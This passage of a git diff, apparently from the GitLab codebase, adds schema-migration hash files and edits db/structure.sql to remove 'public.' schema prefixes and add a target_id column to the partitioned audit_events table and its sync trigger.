@@ -0,0 +1 @@
+891f1660592c4443aeced7594cea391066cc79b54b40c67a8c973eb6959bf6f1 \ No newline at end of file
diff --git a/db/schema_migrations/20200824130447 b/db/schema_migrations/20200824130447
new file mode 100644
index 00000000000..901d79466b6
--- /dev/null
+++ b/db/schema_migrations/20200824130447
@@ -0,0 +1 @@
+e6dcd20fe77c443999aa2373e0acdd77eb68c3a6f0d6d65e86b7f85ac97ddb9a \ No newline at end of file
diff --git a/db/schema_migrations/20200825071735 b/db/schema_migrations/20200825071735
new file mode 100644
index 00000000000..fe108bfb9cf
--- /dev/null
+++ b/db/schema_migrations/20200825071735
@@ -0,0 +1 @@
+cd8574318fae1f2bb021b53d4e453c6b64c763f0e7cc8836cdb8b12963ff0e18 \ No newline at end of file
diff --git a/db/schema_migrations/20200825081025 b/db/schema_migrations/20200825081025
new file mode 100644
index 00000000000..db869574f35
--- /dev/null
+++ b/db/schema_migrations/20200825081025
@@ -0,0 +1 @@
+1ee7ae93dde7099f78cd6218b5419a34b2cfebe196521bcbee1583e31f19ffda \ No newline at end of file
diff --git a/db/schema_migrations/20200825081035 b/db/schema_migrations/20200825081035
new file mode 100644
index 00000000000..45bdfd00bf0
--- /dev/null
+++ b/db/schema_migrations/20200825081035
@@ -0,0 +1 @@
+26fe286e565f776f64ae8b6b0ad91ef1d3bf2195384f44f8b093a1b66ee0d05d \ No newline at end of file
diff --git a/db/schema_migrations/20200825081045 b/db/schema_migrations/20200825081045
new file mode 100644
index 00000000000..67273493881
--- /dev/null
+++ b/db/schema_migrations/20200825081045
@@ -0,0 +1 @@
+deb88efebc989a014b6ecaca4a91624d1b21f34c85cbf6d3460363f1b498b427 \ No newline at end of file
diff --git a/db/schema_migrations/20200825081055 b/db/schema_migrations/20200825081055
new file mode 100644
index 00000000000..7694c97bf9d
--- /dev/null
+++ b/db/schema_migrations/20200825081055
@@ -0,0 +1 @@
+8fc437f09321cfe29262075009bce6f7b0047c2291df4a29bcc304c6dd54d27d \ No newline at end of file
diff --git a/db/schema_migrations/20200825084819 b/db/schema_migrations/20200825084819
new file mode 100644
index 00000000000..0ce9dbf863c
--- /dev/null
+++ b/db/schema_migrations/20200825084819
@@ -0,0 +1 @@
+d5e81848257b3391d99b198b177531a4c190ca6f19b27c9aedaa931f6eb3165a \ No newline at end of file
diff --git a/db/schema_migrations/20200825154237 b/db/schema_migrations/20200825154237
new file mode 100644
index 00000000000..5f56cf2d631
--- /dev/null
+++ b/db/schema_migrations/20200825154237
@@ -0,0 +1 @@
+ff41fa940a0a5c3627dfec22ed4e704d6edc534edf30883a36aa454210bb3d43 \ No newline at end of file
diff --git a/db/schema_migrations/20200825180050 b/db/schema_migrations/20200825180050
new file mode 100644
index 00000000000..0e2e9220740
--- /dev/null
+++ b/db/schema_migrations/20200825180050
@@ -0,0 +1 @@
+330340ef4d525e1e13ed28d71d23594627453955ce5f810e370d07bb3623bf35 \ No newline at end of file
diff --git a/db/schema_migrations/20200826053152 b/db/schema_migrations/20200826053152
new file mode 100644
index 00000000000..26cf99ee7f2
--- /dev/null
+++ b/db/schema_migrations/20200826053152
@@ -0,0 +1 @@
+d7dd6ef7c39576988d1efd7bb179f75e3104fc8058a671e47c7b68ba2ddc9ba8 \ No newline at end of file
diff --git a/db/schema_migrations/20200826073745 b/db/schema_migrations/20200826073745
new file mode 100644
index 00000000000..0200c7bc66a
--- /dev/null
+++ b/db/schema_migrations/20200826073745
@@ -0,0 +1 @@
+d3b15469120ed213363de33a4b268ed71a710c40f02d4a669edf2c5412907209 \ No newline at end of file
diff --git a/db/schema_migrations/20200826092324 b/db/schema_migrations/20200826092324
new file mode 100644
index 00000000000..8745b628965
--- /dev/null
+++ b/db/schema_migrations/20200826092324
@@ -0,0 +1 @@
+35c37b8dcdca08d48086dc8164c2f6a69f563366ec9bce1f60299978a94de9bc \ No newline at end of file
diff --git a/db/schema_migrations/20200826121552 b/db/schema_migrations/20200826121552
new file mode 100644
index 00000000000..e794680240a
--- /dev/null
+++ b/db/schema_migrations/20200826121552
@@ -0,0 +1 @@
+8667c30042b19428b97e0995821c183e69f73394503c83a55ba7bd870df7c3e8 \ No newline at end of file
diff --git a/db/schema_migrations/20200826212800 b/db/schema_migrations/20200826212800
new file mode 100644
index 00000000000..3eaae5c48c8
--- /dev/null
+++ b/db/schema_migrations/20200826212800
@@ -0,0 +1 @@
+360c42f4d34c3b03e7a0375a0ff2776f066888f0a40131180bf301b876ea58db \ No newline at end of file
diff --git a/db/schema_migrations/20200826220745 b/db/schema_migrations/20200826220745
new file mode 100644
index 00000000000..39134fb6223
--- /dev/null
+++ b/db/schema_migrations/20200826220745
@@ -0,0 +1 @@
+ee38dd60087a8879c4686214da1d25a60ab74306eb07b938efb1a8dfc46cc73a \ No newline at end of file
diff --git a/db/schema_migrations/20200826220746 b/db/schema_migrations/20200826220746
new file mode 100644
index 00000000000..1ff87e8df6d
--- /dev/null
+++ b/db/schema_migrations/20200826220746
@@ -0,0 +1 @@
+2564c387b727e557b2988996aa533ba5e4e6d7b01515407bd2692c09644ac2be \ No newline at end of file
diff --git a/db/schema_migrations/20200827005322 b/db/schema_migrations/20200827005322
new file mode 100644
index 00000000000..23ae58e766c
--- /dev/null
+++ b/db/schema_migrations/20200827005322
@@ -0,0 +1 @@
+f4f1efcc93476a1d70add93e166f4c702ad7dfc97ad29c3455722fd98824498f \ No newline at end of file
diff --git a/db/schema_migrations/20200827060911 b/db/schema_migrations/20200827060911
new file mode 100644
index 00000000000..a93302067cd
--- /dev/null
+++ b/db/schema_migrations/20200827060911
@@ -0,0 +1 @@
+124f6ba79f71e2de510741b22d3dd5cf15378b5476c759484bd814377a644256 \ No newline at end of file
diff --git a/db/schema_migrations/20200827060932 b/db/schema_migrations/20200827060932
new file mode 100644
index 00000000000..af7d00f21f2
--- /dev/null
+++ b/db/schema_migrations/20200827060932
@@ -0,0 +1 @@
+ba2e32b4836062631308937023470d31b3f808b468999ba15374c3b953377402 \ No newline at end of file
diff --git a/db/schema_migrations/20200827085101 b/db/schema_migrations/20200827085101
new file mode 100644
index 00000000000..930e0176a52
--- /dev/null
+++ b/db/schema_migrations/20200827085101
@@ -0,0 +1 @@
+bdcfd7dbccc73d6e2754d67bf099cc2dd2b919e4125cec47e853ff91911cc82e \ No newline at end of file
diff --git a/db/schema_migrations/20200827102234 b/db/schema_migrations/20200827102234
new file mode 100644
index 00000000000..8f5656a92c6
--- /dev/null
+++ b/db/schema_migrations/20200827102234
@@ -0,0 +1 @@
+d38ef8ccd627e70adf0dd9ac8161235e21afccbc59f1e8d95f379f66eb84630e \ No newline at end of file
diff --git a/db/schema_migrations/20200827104432 b/db/schema_migrations/20200827104432
new file mode 100644
index 00000000000..351974f884b
--- /dev/null
+++ b/db/schema_migrations/20200827104432
@@ -0,0 +1 @@
+99d95dea0dbb10bcaca5515c144c7fcd1e365e69be5eded223379bf61df69bc3 \ No newline at end of file
diff --git a/db/schema_migrations/20200827114902 b/db/schema_migrations/20200827114902
new file mode 100644
index 00000000000..769a0a56b4b
--- /dev/null
+++ b/db/schema_migrations/20200827114902
@@ -0,0 +1 @@
+f581bd5f5ec26dc33643c77fb8c7a64a9053b55c3f6a7281fea89ac4790a58d2 \ No newline at end of file
diff --git a/db/schema_migrations/20200827142811 b/db/schema_migrations/20200827142811
new file mode 100644
index 00000000000..c1edecb9575
--- /dev/null
+++ b/db/schema_migrations/20200827142811
@@ -0,0 +1 @@
+0e2b3433577946177876f14ec414a1653c1edeaa796eea24f12740958f964442 \ No newline at end of file
diff --git a/db/schema_migrations/20200827150057 b/db/schema_migrations/20200827150057
new file mode 100644
index 00000000000..31a7d2e3f2e
--- /dev/null
+++ b/db/schema_migrations/20200827150057
@@ -0,0 +1 @@
+85b7ffba53c9cec30e9778dd806277ca8e9877c9a18dc1d6004402c0e66b8ef1 \ No newline at end of file
diff --git a/db/schema_migrations/20200828155134 b/db/schema_migrations/20200828155134
new file mode 100644
index 00000000000..f622a308fcc
--- /dev/null
+++ b/db/schema_migrations/20200828155134
@@ -0,0 +1 @@
+b3ee994231a8da694dbcda227b37e19a2112be666648d918425b064ec19d239e \ No newline at end of file
diff --git a/db/schema_migrations/20200828155205 b/db/schema_migrations/20200828155205
new file mode 100644
index 00000000000..d864c122afa
--- /dev/null
+++ b/db/schema_migrations/20200828155205
@@ -0,0 +1 @@
+b575558752206149171a05231e4167e1ac3e1295f76d800edfe3d61c1b996b52 \ No newline at end of file
diff --git a/db/schema_migrations/20200830201204 b/db/schema_migrations/20200830201204
new file mode 100644
index 00000000000..370640eb119
--- /dev/null
+++ b/db/schema_migrations/20200830201204
@@ -0,0 +1 @@
+1e8dd4542b13009b748d352933a4a59fcabb31e916226fcbf87043396f94e09f \ No newline at end of file
diff --git a/db/schema_migrations/20200831065320 b/db/schema_migrations/20200831065320
new file mode 100644
index 00000000000..127a6a18d9d
--- /dev/null
+++ b/db/schema_migrations/20200831065320
@@ -0,0 +1 @@
+3e704cf329786e89f43fdefbc6a91272bebc6af5653dd83b5a81567937f75752 \ No newline at end of file
diff --git a/db/schema_migrations/20200831065322 b/db/schema_migrations/20200831065322
new file mode 100644
index 00000000000..ab56be867e8
--- /dev/null
+++ b/db/schema_migrations/20200831065322
@@ -0,0 +1 @@
+4cb28d6da005682bb077427f4f544996065e86f0e76d5de98fc1761555a0535b \ No newline at end of file
diff --git a/db/schema_migrations/20200831065705 b/db/schema_migrations/20200831065705
new file mode 100644
index 00000000000..385a9511d91
--- /dev/null
+++ b/db/schema_migrations/20200831065705
@@ -0,0 +1 @@
+c1457272bd8f0055992df5d4a8ba1a62cb74d3af3fff25447b3abd2eb090841e \ No newline at end of file
diff --git a/db/schema_migrations/20200831074356 b/db/schema_migrations/20200831074356
new file mode 100644
index 00000000000..cea1905fd1b
--- /dev/null
+++ b/db/schema_migrations/20200831074356
@@ -0,0 +1 @@
+8605268a026d4c66653008bb051c567c251044232b925b89f4407f9ad70f639c \ No newline at end of file
diff --git a/db/schema_migrations/20200831224343 b/db/schema_migrations/20200831224343
new file mode 100644
index 00000000000..5aabfb7d1cf
--- /dev/null
+++ b/db/schema_migrations/20200831224343
@@ -0,0 +1 @@
+ce72274a7cc38c3708a03b8a301c6dafa6543acb03c8638a972c197657182ccf \ No newline at end of file
diff --git a/db/schema_migrations/20200901203055 b/db/schema_migrations/20200901203055
new file mode 100644
index 00000000000..166f9069f40
--- /dev/null
+++ b/db/schema_migrations/20200901203055
@@ -0,0 +1 @@
+eb13fb285ac9af83bbc66397a5352a824575ad4af93178b98fbfc1be2e11ce8b \ No newline at end of file
diff --git a/db/schema_migrations/20200901212304 b/db/schema_migrations/20200901212304
new file mode 100644
index 00000000000..3dcc9cdd8f0
--- /dev/null
+++ b/db/schema_migrations/20200901212304
@@ -0,0 +1 @@
+6fb93002ffd5c1d1bfff5bea8a99cbbfc7cefefbc450a9d067ee0cfab8d11e9e \ No newline at end of file
diff --git a/db/schema_migrations/20200901214416 b/db/schema_migrations/20200901214416
new file mode 100644
index 00000000000..bb7481c254d
--- /dev/null
+++ b/db/schema_migrations/20200901214416
@@ -0,0 +1 @@
+b196c8ce85631432e712a977b09cdba70872f42b16bca53eda1bc8558f57ea24 \ No newline at end of file
diff --git a/db/schema_migrations/20200902135542 b/db/schema_migrations/20200902135542
new file mode 100644
index 00000000000..96ee06f291b
--- /dev/null
+++ b/db/schema_migrations/20200902135542
@@ -0,0 +1 @@
+58e1e87a9a0159d62db761d8caa91a5bf2cc1a2ccceb1b57ff35b53f7698d08f \ No newline at end of file
diff --git a/db/schema_migrations/20200903054946 b/db/schema_migrations/20200903054946
new file mode 100644
index 00000000000..20a4874b1bc
--- /dev/null
+++ b/db/schema_migrations/20200903054946
@@ -0,0 +1 @@
+f9aa112661a55c9eeed1a6aa05dd4c28d6f88971dc14bb606e677d4b4a4e5947 \ No newline at end of file
diff --git a/db/schema_migrations/20200903064431 b/db/schema_migrations/20200903064431
new file mode 100644
index 00000000000..a3351912182
--- /dev/null
+++ b/db/schema_migrations/20200903064431
@@ -0,0 +1 @@
+5c065dc7905fd1292e270d2248810d71fa71d6b6996e9d60c463a7eb36042881 \ No newline at end of file
diff --git a/db/schema_migrations/20200903092241 b/db/schema_migrations/20200903092241
new file mode 100644
index 00000000000..bedd97c3918
--- /dev/null
+++ b/db/schema_migrations/20200903092241
@@ -0,0 +1 @@
+e6c3d5352feed1adc82b14218a6f47fa55df9e0add8a59228d128e4e7f39614b \ No newline at end of file
diff --git a/db/schema_migrations/20200904092131 b/db/schema_migrations/20200904092131
new file mode 100644
index 00000000000..ab6f0aaa8ad
--- /dev/null
+++ b/db/schema_migrations/20200904092131
@@ -0,0 +1 @@
+024d4448f6cd9b9fd8f6d1892882de596928d0265e91f79c6a52431c8fb3c08b \ No newline at end of file
diff --git a/db/schema_migrations/20200904131544 b/db/schema_migrations/20200904131544
new file mode 100644
index 00000000000..62ff8ff56e7
--- /dev/null
+++ b/db/schema_migrations/20200904131544
@@ -0,0 +1 @@
+08c9c6e5cd19aac17de7fc639eaca5ddba3e8280452821b8a72f05dcde790feb \ No newline at end of file
diff --git a/db/schema_migrations/20200904174901 b/db/schema_migrations/20200904174901
new file mode 100644
index 00000000000..6803b8ba0e2
--- /dev/null
+++ b/db/schema_migrations/20200904174901
@@ -0,0 +1 @@
+739a4d5374ae2be419c5a2f8c1427f85a0b76c90233918b7b43f1c166ab06cec \ No newline at end of file
diff --git a/db/schema_migrations/20200907021256 b/db/schema_migrations/20200907021256
new file mode 100644
index 00000000000..a8e8b257104
--- /dev/null
+++ b/db/schema_migrations/20200907021256
@@ -0,0 +1 @@
+5fba5213226186a1506f672eb3eab2d07f58b019c4ba13760663cb119f62d4e2 \ No newline at end of file
diff --git a/db/schema_migrations/20200907062101 b/db/schema_migrations/20200907062101
new file mode 100644
index 00000000000..b4bf6bbb781
--- /dev/null
+++ b/db/schema_migrations/20200907062101
@@ -0,0 +1 @@
+002c92f830762d97dcbdbcf8a0287ebbb576edc27f4f76f4bb18d043e956ba7a \ No newline at end of file
diff --git a/db/schema_migrations/20200907124300 b/db/schema_migrations/20200907124300
new file mode 100644
index 00000000000..a156f95f428
--- /dev/null
+++ b/db/schema_migrations/20200907124300
@@ -0,0 +1 @@
+2311967a9f68e1a428662e0231752ad0d844063d66cca895211d38f9ae928d94 \ No newline at end of file
diff --git a/db/schema_migrations/20200908033805 b/db/schema_migrations/20200908033805
new file mode 100644
index 00000000000..dc2103face3
--- /dev/null
+++ b/db/schema_migrations/20200908033805
@@ -0,0 +1 @@
+5f932b8a3503fc275ba6d09436115999b32f6438700e3b719f53730c5527a354 \ No newline at end of file
diff --git a/db/schema_migrations/20200908095446 b/db/schema_migrations/20200908095446
new file mode 100644
index 00000000000..dbb164d9695
--- /dev/null
+++ b/db/schema_migrations/20200908095446
@@ -0,0 +1 @@
+3cd8614d1d93340b4607d5270b54ec96b60b04a830c0a15a84b9843048515a12 \ No newline at end of file
diff --git a/db/schema_migrations/20200908100053 b/db/schema_migrations/20200908100053
new file mode 100644
index 00000000000..f57b8f3a317
--- /dev/null
+++ b/db/schema_migrations/20200908100053
@@ -0,0 +1 @@
+5642f7d91bbbd20d1e3a964b6a06a4da14474db58f47e3ee0ce3273f7cd7a9e8 \ No newline at end of file
diff --git a/db/schema_migrations/20200908183231 b/db/schema_migrations/20200908183231
new file mode 100644
index 00000000000..e194dc37b36
--- /dev/null
+++ b/db/schema_migrations/20200908183231
@@ -0,0 +1 @@
+9eadbb80f137ba0123c96e04ded21cc313560b7a293c241c6a72ebd35248a84b \ No newline at end of file
diff --git a/db/schema_migrations/20200909194014 b/db/schema_migrations/20200909194014
new file mode 100644
index 00000000000..ef647b603f3
--- /dev/null
+++ b/db/schema_migrations/20200909194014
@@ -0,0 +1 @@
+9579a789ed6256a513a7afb51eeaf11661d1ef2e5d8312e28a69579eb39d8960 \ No newline at end of file
diff --git a/db/schema_migrations/20200909194524 b/db/schema_migrations/20200909194524
new file mode 100644
index 00000000000..e4158445318
--- /dev/null
+++ b/db/schema_migrations/20200909194524
@@ -0,0 +1 @@
+c0f798f6ffd8d67137e6076242f5fb0004736f03c9cde5556dec228eefa75cb1 \ No newline at end of file
diff --git a/db/schema_migrations/20200910131217 b/db/schema_migrations/20200910131217
new file mode 100644
index 00000000000..6aba73661f7
--- /dev/null
+++ b/db/schema_migrations/20200910131217
@@ -0,0 +1 @@
+205580c1ba38fd03ce025dfd1d9be67756ade4fd28ba957bb71cd9e5e89ef190 \ No newline at end of file
diff --git a/db/schema_migrations/20200910131218 b/db/schema_migrations/20200910131218
new file mode 100644
index 00000000000..c0e5f36d8d7
--- /dev/null
+++ b/db/schema_migrations/20200910131218
@@ -0,0 +1 @@
+ba431f19818b93da91c4ed2c3f25dc8e2f62c6d9ac07b15f6d01f21f085c1730 \ No newline at end of file
diff --git a/db/schema_migrations/20200910170908 b/db/schema_migrations/20200910170908
new file mode 100644
index 00000000000..12ab216f093
--- /dev/null
+++ b/db/schema_migrations/20200910170908
@@ -0,0 +1 @@
+de13fed042f6e3d2a6612a77acebf168c8beddab5796b96f2d77886dea431ceb \ No newline at end of file
diff --git a/db/schema_migrations/20200910175553 b/db/schema_migrations/20200910175553
new file mode 100644
index 00000000000..fff67f5a2f6
--- /dev/null
+++ b/db/schema_migrations/20200910175553
@@ -0,0 +1 @@
+904e0a8623df766a1f385bbb3db8942d10c4a92354d8f5e3bc03a813337c5fa1 \ No newline at end of file
diff --git a/db/schema_migrations/20200911120132 b/db/schema_migrations/20200911120132
new file mode 100644
index 00000000000..a9ce2c72ac2
--- /dev/null
+++ b/db/schema_migrations/20200911120132
@@ -0,0 +1 @@
+8c9a7ead17d7378337e7bcfd25a10064c70a3bbb4604bdbb24065951131045dd \ No newline at end of file
diff --git a/db/schema_migrations/20200911121027 b/db/schema_migrations/20200911121027
new file mode 100644
index 00000000000..495b12264ee
--- /dev/null
+++ b/db/schema_migrations/20200911121027
@@ -0,0 +1 @@
+59cbcbe3f8491e150f37a3954c89cc58a52aa0a985c66f252c71d679429ffba1 \ No newline at end of file
diff --git a/db/schema_migrations/20200911121048 b/db/schema_migrations/20200911121048
new file mode 100644
index 00000000000..f10c7e0442c
--- /dev/null
+++ b/db/schema_migrations/20200911121048
@@ -0,0 +1 @@
+51fe3e71baaf55730bf51f3ad5d429b7cfdc6c43319babb9af28bdc13aab2fc9 \ No newline at end of file
diff --git a/db/schema_migrations/20200914091326 b/db/schema_migrations/20200914091326
new file mode 100644
index 00000000000..b3ebcce5749
--- /dev/null
+++ b/db/schema_migrations/20200914091326
@@ -0,0 +1 @@
+c46bafefa5fd79a6644cbe259260b66aaded36aad4ae28a84ddd8bb072c2167d \ No newline at end of file
diff --git a/db/schema_migrations/20200914104642 b/db/schema_migrations/20200914104642
new file mode 100644
index 00000000000..849e99fbbb1
--- /dev/null
+++ b/db/schema_migrations/20200914104642
@@ -0,0 +1 @@
+49b492717acca6d43e16caafda0b75f6e1a3630592149b04d1148758406ae1a7 \ No newline at end of file
diff --git a/db/schema_migrations/20200914105202 b/db/schema_migrations/20200914105202
new file mode 100644
index 00000000000..3179f267ce2
--- /dev/null
+++ b/db/schema_migrations/20200914105202
@@ -0,0 +1 @@
+6cd644220e07f477a87ddc8bb8b2de3ed920c0c76383122bab95c939e21abbb2 \ No newline at end of file
diff --git a/db/schema_migrations/20200914155135 b/db/schema_migrations/20200914155135
new file mode 100644
index 00000000000..17cd6c67033
--- /dev/null
+++ b/db/schema_migrations/20200914155135
@@ -0,0 +1 @@
+0b01a251eb736eb9e9986214c69ea5f4a11d8293bc4083af1585ce265c8f69de \ No newline at end of file
diff --git a/db/schema_migrations/20200914183227 b/db/schema_migrations/20200914183227
new file mode 100644
index 00000000000..3fb2d461452
--- /dev/null
+++ b/db/schema_migrations/20200914183227
@@ -0,0 +1 @@
+570a7de82da3dabfd12f3099cdc028128d4b61a4ecf6edd4b3102031d914316c \ No newline at end of file
diff --git a/db/schema_migrations/20200914184212 b/db/schema_migrations/20200914184212
new file mode 100644
index 00000000000..1053454b960
--- /dev/null
+++ b/db/schema_migrations/20200914184212
@@ -0,0 +1 @@
+dcfd1f006aa6695e0fd8f392c7288f2d80bddfe53827d3a2f079bd039f4fe0de \ No newline at end of file
diff --git a/db/schema_migrations/20200915044225 b/db/schema_migrations/20200915044225
new file mode 100644
index 00000000000..440fddf4080
--- /dev/null
+++ b/db/schema_migrations/20200915044225
@@ -0,0 +1 @@
+0c659c7cbbda4d2fbbbd344f0fca50860ccf54ec8b666772d53a4c6fa602d097 \ No newline at end of file
diff --git a/db/schema_migrations/20200915152641 b/db/schema_migrations/20200915152641
new file mode 100644
index 00000000000..def09e2b14a
--- /dev/null
+++ b/db/schema_migrations/20200915152641
@@ -0,0 +1 @@
+b2d8b7aef4e6756f54f2a173280d98e8fc5594075aaa0a46c81b549a96730668 \ No newline at end of file
diff --git a/db/schema_migrations/20200915164448 b/db/schema_migrations/20200915164448
new file mode 100644
index 00000000000..9506a9c7511
--- /dev/null
+++ b/db/schema_migrations/20200915164448
@@ -0,0 +1 @@
+46e86bee146e7f9cf9459309f8d386f9616ba59d40a7517e22756a6e51526056 \ No newline at end of file
diff --git a/db/schema_migrations/20200915164844 b/db/schema_migrations/20200915164844
new file mode 100644
index 00000000000..e0d7d3f7c45
--- /dev/null
+++ b/db/schema_migrations/20200915164844
@@ -0,0 +1 @@
+8b6caa84be77679e8b47dd5f20093e7438d70641d6d5fc498b05b5c35ef3e5e8 \ No newline at end of file
diff --git a/db/schema_migrations/20200916081749 b/db/schema_migrations/20200916081749
new file mode 100644
index 00000000000..ef4e7164d15
--- /dev/null
+++ b/db/schema_migrations/20200916081749
@@ -0,0 +1 @@
+dde7a29268d925044d59455db87bfc1aa617eec6e30df1cc9dc531b52c909fe1 \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index 950f7930a38..99a070a3838 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -1,5 +1,3 @@
-SET search_path=public;
-
CREATE SCHEMA gitlab_partitions_dynamic;
COMMENT ON SCHEMA gitlab_partitions_dynamic IS 'Schema to hold partitions managed dynamically from the application, e.g. for time space partitioning.';
@@ -8,11 +6,11 @@ CREATE SCHEMA gitlab_partitions_static;
COMMENT ON SCHEMA gitlab_partitions_static IS 'Schema to hold static partitions, e.g. for hash partitioning';
-CREATE EXTENSION IF NOT EXISTS btree_gist WITH SCHEMA public;
+CREATE EXTENSION IF NOT EXISTS btree_gist;
-CREATE EXTENSION IF NOT EXISTS pg_trgm WITH SCHEMA public;
+CREATE EXTENSION IF NOT EXISTS pg_trgm;
-CREATE FUNCTION public.table_sync_function_2be879775d() RETURNS trigger
+CREATE FUNCTION table_sync_function_2be879775d() RETURNS trigger
LANGUAGE plpgsql
AS $$
BEGIN
@@ -30,6 +28,7 @@ ELSIF (TG_OP = 'UPDATE') THEN
entity_path = NEW.entity_path,
target_details = NEW.target_details,
target_type = NEW.target_type,
+ target_id = NEW.target_id,
created_at = NEW.created_at
WHERE audit_events_part_5fc467ac26.id = NEW.id;
ELSIF (TG_OP = 'INSERT') THEN
@@ -44,6 +43,7 @@ ELSIF (TG_OP = 'INSERT') THEN
entity_path,
target_details,
target_type,
+ target_id,
created_at)
VALUES (NEW.id,
NEW.author_id,
@@ -56,6 +56,7 @@ ELSIF (TG_OP = 'INSERT') THEN
NEW.entity_path,
NEW.target_details,
NEW.target_type,
+ NEW.target_id,
NEW.created_at);
END IF;
RETURN NULL;
@@ -63,9 +64,9 @@ RETURN NULL;
END
$$;
-COMMENT ON FUNCTION public.table_sync_function_2be879775d() IS 'Partitioning migration: table sync for audit_events table';
+COMMENT ON FUNCTION table_sync_function_2be879775d() IS 'Partitioning migration: table sync for audit_events table';
-CREATE TABLE public.audit_events_part_5fc467ac26 (
+CREATE TABLE audit_events_part_5fc467ac26 (
id bigint NOT NULL,
author_id integer NOT NULL,
type character varying,
@@ -78,6 +79,7 @@ CREATE TABLE public.audit_events_part_5fc467ac26 (
target_details text,
created_at timestamp without time zone NOT NULL,
target_type text,
+ target_id bigint,
CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
@@ -85,7 +87,7 @@ CREATE TABLE public.audit_events_part_5fc467ac26 (
)
PARTITION BY RANGE (created_at);
-CREATE TABLE public.product_analytics_events_experimental (
+CREATE TABLE product_analytics_events_experimental (
id bigint NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
@@ -218,17 +220,17 @@ CREATE TABLE public.product_analytics_events_experimental (
)
PARTITION BY HASH (project_id);
-CREATE SEQUENCE public.product_analytics_events_experimental_id_seq
+CREATE SEQUENCE product_analytics_events_experimental_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.product_analytics_events_experimental_id_seq OWNED BY public.product_analytics_events_experimental.id;
+ALTER SEQUENCE product_analytics_events_experimental_id_seq OWNED BY product_analytics_events_experimental.id;
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_00 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -358,10 +360,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_00 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_00 FOR VALUES WITH (modulus 64, remainder 0);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_00 FOR VALUES WITH (modulus 64, remainder 0);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_01 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -491,10 +493,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_01 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_01 FOR VALUES WITH (modulus 64, remainder 1);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_01 FOR VALUES WITH (modulus 64, remainder 1);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_02 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -624,10 +626,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_02 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_02 FOR VALUES WITH (modulus 64, remainder 2);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_02 FOR VALUES WITH (modulus 64, remainder 2);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_03 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -757,10 +759,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_03 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_03 FOR VALUES WITH (modulus 64, remainder 3);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_03 FOR VALUES WITH (modulus 64, remainder 3);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_04 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -890,10 +892,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_04 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_04 FOR VALUES WITH (modulus 64, remainder 4);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_04 FOR VALUES WITH (modulus 64, remainder 4);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_05 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
